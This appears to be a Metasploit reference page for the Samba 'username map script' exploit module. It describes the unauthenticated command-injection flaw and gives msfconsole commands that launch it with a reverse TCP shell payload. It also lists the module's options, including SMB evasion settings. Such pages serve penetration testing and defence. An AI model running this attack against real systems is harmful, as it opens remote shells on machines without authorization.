Metasploit Penetration Testing Framework

modules / exploit / multi / samba / usermap_script
OSVDB: CVE:
BID: MSB:
TEXT:

Samba "username map script" Command Execution

This module exploits a command execution vulerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

Rank

  • Excellent

Authors

  • jduck < jduck [at] metasploit.com >

References

Exploit Targets

  • 0 - Automatic (default)

Development

Similar Modules

Usage Information

$ msfconsole

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                                      ##

msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > show payloads
msf exploit(usermap_script) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(usermap_script) > set LHOST [MY IP ADDRESS]
msf exploit(usermap_script) > set RHOST [TARGET IP]
msf exploit(usermap_script) > exploit

Module Options

RHOST The target address
RPORT The target port (default: 139)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SMBDirect The target port is a raw SMB service (not NetBIOS)
SMBDomain The Windows domain to use for authentication
SMBName The NetBIOS hostname (required for port 139 connections)
SMBPass The password for the specified username
SMBUser The username to authenticate as
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
SMB::obscure_trans_pipe_level Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level Place extra padding between headers and data (level 0-3)
SMB::pad_file_level Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size Maximum buffer size for pipe reads
SMB::pipe_read_min_size Minimum buffer size for pipe reads
SMB::pipe_write_max_size Maximum buffer size for pipe writes
SMB::pipe_write_min_size Minimum buffer size for pipe writes
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)

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